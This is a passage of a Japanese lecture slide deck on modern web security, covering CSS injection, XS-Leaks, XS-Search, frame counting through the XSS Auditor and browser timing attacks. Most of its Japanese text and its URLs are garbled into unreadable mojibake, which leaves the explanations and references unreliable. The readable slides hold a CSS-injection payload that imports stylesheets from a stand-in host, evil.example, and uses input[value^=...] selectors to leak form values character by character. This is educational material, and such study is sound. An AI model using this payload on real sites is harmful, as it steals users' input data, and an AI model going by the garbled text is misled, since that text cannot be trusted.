    ͔͠ಡΊͳ͍ͷͰɺ߈ܸʹར༻Ͱ͖Δঢ়گ͕ݶΒΕ͍ͯΔɻ
    ‣ ղܾҎԼͷΑ͏ͳํ๏ʹΑΓɺଐੑ஋Ҏ֎΋ಡΈग़ͤΔɻ
    ‣ ϑΥϯτͷ-JHBUVSF ϦΨνϟ
    Λར༻ͯ͠දࣔ͞ΕΔจࣈͷ෯ ͻ͍
    ͯ͸εΫϩʔϧόʔ
    Λ੍ޚ͢Δ
    ‣ εΫϩʔϧόʔ͕ੜͨ͡ͱ͖ʹ֎෦αʔόͱ௨৴ͤ͞Δ
    ‣ ิ଍)FJEFSJDIFUBM ͰΞΠσΞ͕ఏҊ͞Ε͍͕ͯͨɺ1P$
    ͕ެ։͞Εͨͷ͸#FOULPXTLJ ͝Ζ͕ॳΊ͔ͯɻ


    フォント制御 スクロールバー制御
    攻撃ベクタ = +

    View full-size slide

  39. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ͜Ε·Ͱͷख๏ͷ໰୊఺
    $44*OKFDUJPO
    ‣ ՝୊"UUSJCVUF3FBEJOH΋-JHBUVSF੍ޚʹΑΔϦʔΫ͸ɺ۪௚ʹ
    ΍Δͱɺෳ਺ճͷϦΫΤετ JOKFDUJPO
    ͕ඞཁʹͳΔɻ
    ‣ 㲎จࣈϦʔΫ͢Δͨͼʹɺ৽͍͠$44Λ஫ೖ͢Δඞཁ͕͋Δɻ
    ‣ 㱤ϦΫΤετ͝ͱʹมԽ͢ΔΑ͏ͳର৅͸ϦʔΫͰ͖ͳ͍ɻ
    ‣ ղܾ3FDVSTJWF*NQPSU5FDIOJRVF 7JMB

    ‣ ࠶ؼతͳ!JNQPSUΛར༻ͯ͠ɺ౓ͷJOKFDUJPOͰϦʔΫΛࡁ·ͤ
    Δɺͱ͍͏ख๏ɻ
    ‣ ͜ͷߨٛͰ΋͜ͷख๏ʹ͍ͭͯ͸આ໌͢Δ͕ɺҎԼͷ7JMB͞ΜͷεϥΠ
    υΛಡΉ͜ͱΛקΊΔɻ

    IUUQTWX[ROFUTMJEFTT@DTT@JOKFDUJPO@BUUBDLTQEG


    View full-size slide

  40. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ߈ܸͷݪཧ

    3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO
    ‣ ॳΊʹ࣍ͷΑ͏ͳ$44Λ஫ೖ͢Δɻ


    @import url(//evil.example/0.css)
    @import url(//evil.example/1.css)
    input[value^=a]{/*...*/}
    input[value^=b]{/*...*/}
    ...
    input[value^=z]{/*...*/}
    ‣ DTTͷத਎ΛҎԼͷΑ͏ʹ͓ͯ͘͠ɻ

    View full-size slide

  41. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ߈ܸͷݪཧ

    3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO


    @import url(//evil.example/2.css)
    input[value^=aa]{/*...*/}
    input[value^=ab]{/*...*/}
    ...
    input[value^=az]{/*...*/}
    ‣ DTT΁ͷ(&5ϦΫΤετ͕ඈΜͰ͘Δ͕ɺҰ୴์ஔ͓ͯ͘͠ɻ
    ‣ DTTԼ෦Ͱจࣈ໨ͷϦʔΫ͕ߦΘΕΔɻ
    ‣ ͜ͷจࣈ໨ͷϦʔΫͷ݁ՌΛݩʹDTTΛੜ੒͢Δɻ
    ‣ ์ஔ͍ͯͨ͠(&5ϦΫΤετʹฦ౴͢Δɻ

    View full-size slide

  42. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ߈ܸͷݪཧ

    3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO


    ‣ ར఺͜ͷΑ͏ͳखॱΛ܁Γฦ͢͜ͱʹΑΓɺॳΊʹTUZMFλάҰ
    ͭΛ஫ೖ͢Δ͚ͩͰ͋ͬͯ΋ɺϦʔΫ͍ͨ͠จࣈྻશମΛϦʔΫͰ
    ͖ΔΑ͏ʹͳΔɻ
    ‣ ؊ཁͳͱ͜Ζ
    ‣ ࠶ؼతʹ$44ΛJNQPSU͢Δ
    ‣ ΋ͬͱ΋࠶ؼతͰ͋Δඞཁ͸ͳ͘ɺฒྻͤͯ͞΋Α͍
    ‣ ϦΫΤετʹରͯ͠௚ͪʹฦ౴ͤͣɺ४උ͕Ͱ͖͔ͯΒฦ౴͢Δ

    View full-size slide

  43. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ิ଍
    3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO
    ‣ ͜ͷςΫχοΫʹؔͯ͠͸ɺ߈ܸ༻ͷεΫϦϓτͷ࣮૷͕ͦΕͳΓ
    ʹ໘౗Ͱ͋Δɻ
    ‣ )551Λ஻Δαʔό͕ඞཁͳͨΊɻ
    ‣ ࣗಈԽͷͨΊͷπʔϧ͕ެ։͞ΕΔΑ͏ʹͳ͖ͬͯͨɻ
    ‣ IUUQTHJUIVCDPNEOVUQUSTJD
    ‣ IUUQTHJUIVCDPNNPOTFO
    ‣ ͜ΕΛҰ౓ࣗ෼Ͱॻ͍ͯΈΔͷ͸͘͢͝ษڧʹͳΔɻ


    View full-size slide

  44. &YFSDJTF

    3FDVSTJWF*NQPSU

    ඇެ։

    View full-size slide

  45. 94-FBLTBOE944FBSDI

    View full-size slide

  46. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    $SPTTTJUF-FBLT4FBSDI

    94-FBLT 944FBSDI
    ‣ $SPTTTJUFMFBLT 94-FBL
    ͱ͸ɺϒϥ΢β্ͰͷαΠυνϟω
    ϧͨͪͷ૯শͰ͋Δ ΍΍ޠฐ͸͋Δ͕
    ɻ
    ‣ 94-FBL߈ܸͱ͸ͦͷΑ͏ͳαΠυνϟωϧΛ༻͍ͨ߈ܸͷ͜ͱɻ
    ‣ ͱ͘ʹ܁Γฦ͠ͷ໰͍߹Θͤͷޙɺ؍ଌ͢Δɺͱ͍͏ྲྀΕ͔Β
    ͳΔ߈ܸ͸ɺ$SPTTTJUF4FBSDI 944FBSDI
    ͱݺ͹ΕΔɻ
    ‣ ྫ͑͹ҎԼͷ΍ΓͱΓ͔ΒɺϘϒͱΫϦε͸͖ͬͱ஌Γ߹͍ͩͱݴ͑
    Δ͠ɺϘϒͱΞϦε͸஌Γ߹͍Ͱ͸ͳͦ͞͏ͩͱ෼͔Δɻ
    ‣ ʮϘϒɺΫϦεͱͷؒͰૹड৴ͨ͠ϝʔϧͷ݅਺͸Կ݅ʁΞϦεͱ͸ʁʯ
    ‣ ʮΫϦεͱ͸݅ɺΞϦεͱ͸͔݅ͳɻʯ
    ‣ ͜Εͱࣅͨ͜ͱΛߦ͏ͷ͕944FBSDIͱݺ͹ΕΔ߈ܸɻ


    View full-size slide

  47. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    εΩʔϜ

    944FBSDI
    ‣ (FMFSOUFSFUBM
    ‣ ൴Β͸944FBSDIͷख๏ΛγεςϚνοΫʹهड़ͨ͠ɻ
    ‣ ߩݙ
    ‣ 944FBSDIͰར༻͢ΔͷʹͲͷ౷ܭख๏͕ద੾͔ͷݕ౼Λߦͬͨ఺ɻ
    ‣ $SPTCZFUBM ͷ#PYUFTUͷ࠾༻
    ‣ λΠϛϯάνϟωϧͷBNQMJpDBUJPOख๏ͷఏҊɻ
    ‣ EJWJEFBOEDPORVFSΞϧΰϦζϜͷఏҊɻ
    ‣ ࣍ϖʔδҎ߱Ͱ(FMFSOUFSFUBM ͷεΩʔϜΛઆ໌͢Δɻ


    View full-size slide

  48. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ۩ମྫ
    944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ৔߹


    %VNNZ3FRVFTU
    3FTQPOTF
    $IBMMFOHF3FRVFTU
    3FTQPOTF
    7JDUJN
    4FSWJDF
    7JDUJN
    6TFS
    "UUBDLFS
    *OJUJBUF
    $PMMFDU

    3FTVMUT
    ʮ͜ͷ஫จʹ͕֮͑ͳ͍৔߹
    ͸ɺ͜ͷϦϯΫΛΫϦοΫʯ

    View full-size slide

  49. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ۩ମྫ
    944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ৔߹


    %VNNZ3FRVFTU
    3FTQPOTF
    $IBMMFOHF3FRVFTU
    3FTQPOTF
    7JDUJN
    4FSWJDF
    7JDUJN
    6TFS
    "UUBDLFS
    *OJUJBUF
    $PMMFDU

    3FTVMUT
    ʮHSXHHSOHXPSHIH
    OPHKHʯͷݕࡧ݁ՌΛ໰͍߹Θ
    ͤΔɻ݁Ռ͸ۭͳ͸ͣɻ

    View full-size slide

  50. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ۩ମྫ
    944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ৔߹


    %VNNZ3FRVFTU
    3FTQPOTF
    $IBMMFOHF3FRVFTU
    3FTQPOTF
    7JDUJN
    4FSWJDF
    7JDUJN
    6TFS
    "UUBDLFS
    *OJUJBUF
    $PMMFDU

    3FTVMUT
    ʮ"MJDFʯͰݕࡧ͢Δɻ
    ΋͠ݕࡧ݁Ռͷಛ௃ྔ FHα
    Πζ ॲཧ࣌ؒ FUD
    ͕
    %VNNZ3FRVFTUͱ͍͔ۙ൑
    ఆ͢Δͱɺۭ͔ͦ͏Ͱͳ͍͔
    ͕ਪଌͰ͖Δɻ

    View full-size slide

  51. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ۩ମྫ
    944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ৔߹


    %VNNZ3FRVFTU
    3FTQPOTF
    $IBMMFOHF3FRVFTU
    3FTQPOTF
    7JDUJN
    4FSWJDF
    7JDUJN
    6TFS
    "UUBDLFS
    *OJUJBUF
    $PMMFDU

    3FTVMUT
    ͷεςοϓΛ܁Γฦ͢

    View full-size slide

  52. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ۩ମྫ
    944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ৔߹


    %VNNZ3FRVFTU
    3FTQPOTF
    $IBMMFOHF3FRVFTU
    3FTQPOTF
    7JDUJN
    4FSWJDF
    7JDUJN
    6TFS
    "UUBDLFS
    *OJUJBUF
    $PMMFDU

    3FTVMUT
    ߈ܸऀ͸ద౰ͳλΠϛϯάͰ
    ݁ՌΛճऩ͢Δ

    View full-size slide

  53. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    0VUMJOF944FBSDI
    (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠



    %VNNZ3FRVFTU
    3FTQPOTF
    $IBMMFOHF3FRVFTU
    3FTQPOTF
    7JDUJN
    4FSWJDF
    7JDUJN
    6TFS
    "UUBDLFS
    *OJUJBUF
    $PMMFDU

    3FTVMUT

    View full-size slide

  54. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    0VUMJOF944FBSDI
    (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠



    %VNNZ3FRVFTU
    3FTQPOTF
    $IBMMFOHF3FRVFTU
    3FTQPOTF
    7JDUJN
    4FSWJDF
    7JDUJN
    6TFS
    "UUBDLFS
    *OJUJBUF
    $PMMFDU

    3FTVMUT
    ߈ܸऀ͕ඃ֐ऀΛ᠘ϖʔδʹ༠
    ಋ͢Δɻ

    View full-size slide

  55. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    0VUMJOF944FBSDI
    (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠



    %VNNZ3FRVFTU
    3FTQPOTF
    $IBMMFOHF3FRVFTU
    3FTQPOTF
    7JDUJN
    4FSWJDF
    7JDUJN
    6TFS
    "UUBDLFS
    *OJUJBUF
    $PMMFDU

    3FTVMUT
    ߈ܸऀ͸࢝Ίʹɺ݁Ռ͕෼͔Γ͖ͬͯ
    ͍Δ໰͍߹ΘͤΛૹ৴͠ %VNNZ
    3FRVFTU
    ɺͦͷಛ௃ྔΛ94-FBLT
    Λ༻͍ͯಘͯɺͦΕΛ͓֮͑ͯ͘ɻ

    ͜ͷखॱʹΑΓɺҎ߱͸૬ର஋ϕʔε
    ͷٞ࿦͕Ͱ͖Δɻ

    View full-size slide

  56. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    0VUMJOF944FBSDI
    (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠



    %VNNZ3FRVFTU
    3FTQPOTF
    $IBMMFOHF3FRVFTU
    3FTQPOTF
    7JDUJN
    4FSWJDF
    7JDUJN
    6TFS
    "UUBDLFS
    *OJUJBUF
    $PMMFDU

    3FTVMUT
    ࣮ࡍͷ໰͍߹ΘͤΛߦ͏ɻ
    ͜͜ͰಘΒΕͨϨεϙϯεͷಛ
    ௃ྔͱ%VNNZ3FRVFTU͔Β
    ಘͨಛ௃ྔͷ૬ର஋Λ΋ͱʹɺ
    3FTQPOTFͷಛੑΛ෮ݩ͢Δɻ

    View full-size slide

  57. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    0VUMJOF944FBSDI
    (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠



    %VNNZ3FRVFTU
    3FTQPOTF
    $IBMMFOHF3FRVFTU
    3FTQPOTF
    7JDUJN
    4FSWJDF
    7JDUJN
    6TFS
    "UUBDLFS
    *OJUJBUF
    $PMMFDU

    3FTVMUT
    ͷεςοϓΛ܁Γฦ͢

    View full-size slide

  58. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    0VUMJOF944FBSDI
    (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠



    %VNNZ3FRVFTU
    3FTQPOTF
    $IBMMFOHF3FRVFTU
    3FTQPOTF
    7JDUJN
    4FSWJDF
    7JDUJN
    6TFS
    "UUBDLFS
    *OJUJBUF
    $PMMFDU

    3FTVMUT
    ߈ܸऀ͸ద౰ͳλΠϛϯάͰ
    ݁ՌΛճऩ͢Δ

    View full-size slide

  59. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ಛੑ

    944FBSDI 94-FBLT
    ‣ 94-FBLT944FBSDI͸ҎԼͷΑ͏ͳੑ࣭Λ࣋ͭɻ
    ‣ Ϧιʔε͕௚઀ϦʔΫ͞ΕΔΘ͚Ͱ͸ͳ͍ɻ
    ‣ 944 $44*OKFDUJPO౳ͱ͸ҟͳΔɻ401͕͋ΔͨΊɻ
    ‣ Ϧιʔεͷಛ௃ྔ͕ϦʔΫ͞ΕΔɻ
    ‣ FH͋Δ஋͕౰֘Ϧιʔεʹؚ·Ε͍ͯΔ͔Ͳ͏͔ɻ
    ‣ ݕࡧͷ৔߹͋Δ஋͕Ϣʔβʔͷ΋ͭϦιʔεͷதʹؚ·Ε͍ͯΕ͹ɺݕ
    ࡧ݁ՌͷϨεϙϯε௕͸௕͍͸ͣɻ
    ‣ FHϦιʔε͕ͲΕ΄Ͳෳࡶ͔େ͖͍͔ɻ
    ‣ ෳࡶͳେ͖͍Ϩεϙϯε΄Ͳॲཧʹ͔͔Δ࣌ؒ͸௕͍͸ͣɻ


    View full-size slide

  60. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ྺ࢙
    94-FBLT 944FBSDI
    ͍ܰϒʔϜ͕དྷͨ ೥͝Ζ͔Βʁ
    ɻ
    )551$BDIF$SPTT4JUF-FBLT

    IUUQTJSEBSDLDBUCMPHTQPUDPNIUUQDBDIFDSPTTTJUFMFBLTIUNM
    $SPTT4JUF$POUFOUBOE4UBUVT5ZQFT-FBLBHF

    IUUQTNFEJVNDPNCVHCPVOUZXSJUFVQDSPTTTJUFDPOUFOUBOETUBUVTUZQFTMFBLBHFFGEBCB


    &WBOT͕ݪ࢝తͳ944FBSDI JNHͱλΠϛϯά৘ใʹΑΔ΋
    ͷ
    ΛఏҊͨ͠ &WBOT
    ɻ

    $SPTTEPNBJOTFBSDIUJNJOH

    IUUQTTDBSZCFBTUTFDVSJUZCMPHTQPUDPNDSPTTEPNBJOTFBSDIUJNJOHIUNM
    (FMFSOUFSFUBM͕944FBSDIΛ͋Δఔ౓ମܥԽͯ͠هड़ɾݕ౼
    ͨ͠ (FMFSOUFSFUBM
    ɻ࣮ੈքͰͷ߈ܸྫ΋ఏࣔ͞Εͨɻ

    View full-size slide

  61. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ࢀߟจݙ

    94-FBLT 944FBSDI΋ͬͱֶͼ͍ͨ͋ͳͨͷͨΊʹ
    ‣ /PUFYTMFBLTYTMFBLTIBTBDPNQSFIFOTJWFTVSWFZQBHF

    IUUQTHJUIVCDPNYTMFBLTYTMFBLTXJLJ-JOLT
    ‣ ':*/FX94-FBLUFDIOJRVFTSFWFBMGSFTIXBZTUPFYQPTF
    VTFSJOGPSNBUJPOCZ1PSU4XJHHFS

    IUUQTQPSUTXJHHFSOFUEBJMZTXJHOFXYTMFBLUFDIOJRVFTSFWFBMGSFTIXBZTUPFYQPTFVTFSJOGPSNBUJPO

    ‣ ':*94-FBLTBOE944FBSDICZ(PPHMF

    IUUQTTJUFTHPPHMFDPNTJUFCVHIVOUFSVOJWFSTJUZOPOWVMOYTMFBLT


    View full-size slide

  62. &YBNQMF

    'SBNF$PVOU

    View full-size slide

  63. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    XJOEPXMFOHUI

    $SPTT0SJHJOͰ΋ಡΊΔϓϩύςΟͷ୅දྫ


    ‣ લఏ
    ‣ ஌ࣝXJOEPXMFOHUI͸౰֘XJOEPXதͷGSBNFͷݸ਺Λฦ͢ɻ
    ‣ ิ଍XJOEPXMFOHUIXJOEPXGSBNFTMFOHUI
    ‣ ஌ࣝ401ԼͰ͋ͬͯ΋ɺXJOEPXMFOHUIͷ$SPTT0SJHJOͳಡΈग़
    ͠͸ڐՄ͞Ε͍ͯΔɻ
    ‣ ࢀߟ.%/

    IUUQTEFWFMPQFSNP[JMMBPSHFO64EPDT8FC4FDVSJUZ4BNFPSJHJO@QPMJDZ
    ‣ ໰͜ΕΛ߈ܸʹར༻Ͱ͖ΔγνϡΤʔγϣϯ͸ଘࡏ͢Δ͔ɻ͋Δͷ
    Ͱ͋Ε͹ɺͦΕ͸ͲͷΑ͏ͳ৔߹͔ɻ

    View full-size slide

  64. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    944"VEJUPS

    "HPPEGSJFOEGPS944NBOJB

    ‣ 944"VEJUPS
    ‣ 99441SPUFDUJPOIFBEFS
    EFpOFTUIFBDUJPOXIFO
    3FqFDUFE
    944JTGPVOE
    ‣ 5IFSFBSFUXPNPEFT

    pMUFSCMPDL
    ‣ 3FTFBSDIFSTIBWFUBDLMFEXJUI
    CZQBTTJOHPG944"VEJUPS



    View full-size slide

  65. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    XJOEPXMFOHUIΛར༻Ͱ͖Δྫ

    'SBNF$PVOU
    ‣ ҎԼ99441SPUFDUJPONPEFCMPDLΛ૝ఆ͢Δɻ
    ‣ ϖʔδ͕IUUQFYBNQMFDPNIPHFͰαʔϒ͞Ε͍ͯΔͱ͢Δɻ
    ‣ ࣍ͷ63-Λ౿Ήͱɺ944"VEJUPSʹΑΓϖʔδද͕ࣔϒϩοΫ͞ΕΔɻ
    ‣ IUUQFYBNQMFDPNIPHF
    $TDSJQU&MFUTFDSFU%USVF#$'TDSJ
    QU& 63-"ͱ͢Δ

    ‣ USVFˠGBMTFͱͨ͠63- 63-#ͱ͢Δ
    Ͱ͸ϒϩοΫ͞Εͳ͍ɻ



    let secret= true;

    View full-size slide

  66. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    XJOEPXMFOHUIΛར༻Ͱ͖Δྫ

    'SBNF$PVOU
    ‣ ͱ͜ΖͰɺҎԼ͕੒ཱ͍ͯ͠Δɻ
    ‣ 944"VEJUPSʹΑΓϖʔδද͕ࣔϒϩοΫ͞ΕΔͱɺ͜ͷϖʔδͷ
    XJOEPXMFOHUIͱͳΔɻ
    ‣ ϒϩοΫ͞Ε͍ͯͳ͍৔߹ɺXJOEPXMFOHUIͱͳΔɻ
    ‣ Αͬͯɺ࣍ͷͭͷJGSBNFͷ͏ͪͲͪΒͷXJOEPXMFOHUI͕
    ʹͳΔ͔ʹΑͬͯɺTFDSFUͷ஋͕൑ผͰ͖Δɻ
    ‣ JGSBNFTSD63-" JGSBNFTSD63-#



    let secret = true;

    View full-size slide

  67. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    944"VEJUPSͷ෭࡞༻

    ͳͥ944"VEJUPS͕ඇ೉Λड͚͍ͯΔͷ͔
    ‣ 944"VEJUPS͕ϒϩοΫ͢Δͱʜ
    ‣ 94-FBLTͷԹচʹͳΔ944"VEJUPSΛJODMVTJPOͷΦϥΫϧʹར
    ༻Ͱ͖Δɻ
    ‣ 944"VEJUPS͕ϑΟϧλ͢Δͱʜ
    ‣ ։ൃऀ͕ҙਤ͍ͯ͠ͳ͍ഁյ͕ى͖Δɻ
    ‣ %0.$MPCCFSJOHͳͲͱͷ૊Έ߹ΘͤʹΑΔ໰୊΋ى͜Γ͏Δɻ
    ‣ ࢀߟ9944/JHIUNBSFNPEFBUUBDL944"UUBDLT&YQMPJUJOH
    944'JMUFS !NBTBUPLJOVHBXB

    IUUQTXXXTMJEFTIBSFOFUNBTBUPLJOVHBXBYYOFO
    ‣ ':**OGPSNBUJPOUIFGUBUUBDLTBCVTJOHCSPXTFST944pMUFS

    IUUQTXXXNCTEKQCMPHIUNM


    View full-size slide

  68. &YFSDJTF

    XJOEPXMFOHUI

    ඇެ։

    View full-size slide

  69. &YBNQMF

    5JNJOH*OGPSNBUJPO

    View full-size slide

  70. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    5JNJOH"UUBDL 8FC

    αΠυνϟωϧ߈ܸͷԦ༷
    ‣ ໰ϒϥ΢β্Ͱͷ࣌ؒܭଌ͔ΒಘΒΕΔ৘ใ͸ɺͲͷΑ͏ʹͯ͠߈
    ܸʹར༻Ͱ͖ΔͩΖ͏͔ɻ
    ‣ ॳظͷΞΠσΞ 'FMUFOBOE4DIOFJEFS

    ‣ ϒϥ΢βͷΩϟογϡͷ༗ແ͕ɺϦιʔεͷϩʔυͷૣ͞ΛܾΊΔɻ
    ‣ ϒϥ΢βΩϟογϡͷ༗ແ͸ɺϒϥ΢βཤྺΛ൓ө͍ͯ͠Δɻ
    ‣ ͢ͳΘͪɺϦιʔεͷಡΈࠐΈ଎౓͸ɺϒϥ΢βཤྺΛ൓ө͠͏Δɻ
    ‣ Ұൠʹɺ8FCʹ͓͚ΔλΠϛϯά߈ܸ͸ɺ࣍ͷ؍఺Ͱ෼ྨ͞ΕΔɻ
    ‣ $POOFDUJWJUZEJSFDUPSDSPTTTJUF
    ‣ 5BSHFU5JNJOHTFSWFSTJEFUJNJOHPSDMJFOUTJEFUJNJOH


    View full-size slide

  71. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    %JSFDU5JNJOH"UUBDL

    #PSU[BOE#POFI $SPTCZFUBM
    ‣ ֓ཁϦʔΫ͍ͨ͠৘ใ͕8FCΞϓϦέʔγϣϯશମͷڍಈʹӨڹ
    Λ༩͑Δ৔߹Λ૝ఆͨ͠߈ܸͷ͜ͱɻ
    ‣ ݚڀͷྫ
    ‣ 8FCΞϓϦέʔγϣϯͷॲཧ࣌ؒͷ؍ଌʹΑΓɺαʔόʔαΠυͰอ
    ࣋͞ΕͨσʔλͷαΠζ౳ΛϦʔΫͰ͖Δ #PSU[BOE#POFI
    ɻ
    ‣ ωοτϫʔΫӽ͠ͷλΠϛϯά߈ܸͰ͋ͬͯ΋ɺ౷ܭख๏Λ޻෉͢Δ
    ͱɺඇৗʹྑ͍ਫ਼౓͕࣮ݱͰ͖Δ $SPTCZFUBM
    ɻ
    ‣ #PYUFTUͱݺ͹ΕΔ౷ܭख๏͸ɺޙͷݚڀͰ΋ଟ༻͞Ε͍ͯΔɻ
    ‣ FH%SBHPOCMPPE 7BOIPFGBOE3POFO

    ‣ FH944FBSDI (FMFSOUFSFUBM



    View full-size slide

  72. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    $SPTTTJUF5JNJOH"UUBDL

    #PSU[BOE#POFI
    ‣ ϦʔΫ͍ͨ͠৘ใ͸ɺ8FCΞϓϦέʔγϣϯશମͷڍಈʹ͸ӨڹΛ
    ༩͑ͳ͍͕ɺͦΕΛอ࣋͢ΔϢʔβʔ͕ߦ͑Δૢ࡞ʹ͸ӨڹΛ༩͑
    Δ৔߹Λ૝ఆͨ͠߈ܸͷ͜ͱɻ
    ‣ αʔόʔαΠυͷ࣌ؒʹண໨ͨ͠ݚڀ
    ‣ &WBOT ΍(FMFSOUFSFUBM ͕୅දత
    ‣ ΫϥΠΞϯταΠυͷ࣌ؒʹண໨ͨ͠ݚڀ
    ‣ CSPXTFSCBTFEUJNJOHBUUBDLTͱ΋ݺ͹ΕΔɻ
    ‣ $BDIFػߏͷ׆༻7BO(PFUIFNFUBM
    ‣ $44ͷ׆༻4UPOF ,PUDIFSFUBM 4NJUIFUBM



    View full-size slide

  73. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    $MJFOUTJEF5JNJOH

    BLB#SPXTFSCBTFE5JNJOH"UUBDL
    ‣ ΞΠσΞϦιʔεಡΈࠐΈͷ࣌ؒ͸ϦιʔεͷαΠζͱͷ૬ؔΛ΋
    ͭ ͸ͣ
    ɻ
    ‣ ໰୊/FUXPSLKJUUFS΍αʔόʔෛՙʹΑΔ355஗Ԇ͕࣌ؒܭଌʹ
    ৐Δͱɺຊ౰ʹܭଌ͍͕ͨ࣌ؒ͠ଌΕͳ͍ɻ
    ‣ ݚڀͷྫ7BO(PFUIFNFUBM͸ɺ࣍ͷΑ͏ͳϞμϯͳ8FC"1*
    Λར༻͢Δ͜ͱʹΑΓɺΫϥΠΞϯταΠυͰͷϦιʔεಡΈࠐΈ
    ͷ࣌ؒΛਖ਼֬ͳܭଌΛୡ੒ͨ͠ 7BO(PFUIFNFUBM
    ɻ
    ‣ FH$BDIF"1* PG4FSWJDF8PSLFS

    ‣ FH"QQMJDBUJPO$BDIF


    View full-size slide

  74. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    $MJFOUTJEF5JNJOH

    BLB#SPXTFSCBTFE5JNJOH"UUBDL
    ‣ ΞΠσΞϨϯμϦϯάʹඞཁͳ࣌ؒ͸ίϯςϯπͱͷ૬ؔΛ΋ͭɻ
    ‣ ஫+4͔Β৮Εͳ͍σʔλͰ͋ͬͯ΋ɺϨϯμϦϯά͸͞ΕΔ͜ͱ
    ͕͋ΔͷͰɺ΋͔ͨ͠͠Β߈ܸͷద༻ൣғ͕޿͕Δ͔΋ɻ
    ‣ ݚڀͷྫ
    ‣ 1JYFMQFSGFDUUJNJOHBUUBDLT 4UPOF

    IUUQTXXXDPOUFYUJTDPNNFEJBEPXOMPBET1JYFM@1FSGFDU@5JNJOH@"UUBDLT@XJUI@)5.-@8IJUFQBQFSQEG

    ‣ 1JYFMTUFBMJOHUJNJOHBUUBDLT ,PUDIFSFUBM

    IUUQTEMBDNPSHDJUBUJPODGN JE
    ‣ "CVTFPG1BJOU"1* %5SBOTGPSNT BOE47(T 4NJUIFUBM


    IUUQTXXXVTFOJYPSHDPOGFSFODFXPPUQSFTFOUBUJPOTNJUI


    View full-size slide

  75. &YFSDJTF

    4JNQMF5JNJOH"UUBDL
    ඇެ։

    View full-size slide

  76. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    λΠϛϯάܭଌͷ෢ث

    λΠϚͱͯ͠࢖͑Δ΋ͷͷྫ
    ‣ λΠϜελϯϓϕʔεͷղੳΛ͢Δ৔߹
    ‣ ݱ୅ʹ͓͍ͯ΋ͬͱ΋γϯϓϧͳλΠϚ͸QFSGPSNBODFOPX

    ‣ ϒϥ΢β͔Βར༻Ͱ͖ΔߴੑೳλΠϚʹؔ͢Δݚڀͱͯ͠͸ɺ࣍ϖʔ
    δͰ঺հ͢Δ4DIXBS[ ͕༗໊ɻ
    ‣ '14 GSBNFTQFSTFDPOE
    ϕʔεͷղੳΛ͢Δ৔߹
    ‣ SFRVFTU"OJNBUJPO'SBNF͕ར༻Ͱ͖Δ
    ‣ ར༻͍ͯ͠Δݚڀͷྫ4NJUIFUBM ͷ$44ʹΑΔཤྺ৘ใ࿙Ӯ
    ‣ ϒϥ΢βͷϨϯμϦϯάपΓͷઃܭΛཧղ͓ͯ͘͠ͱྑ͍͜ͱ͕͋Δ
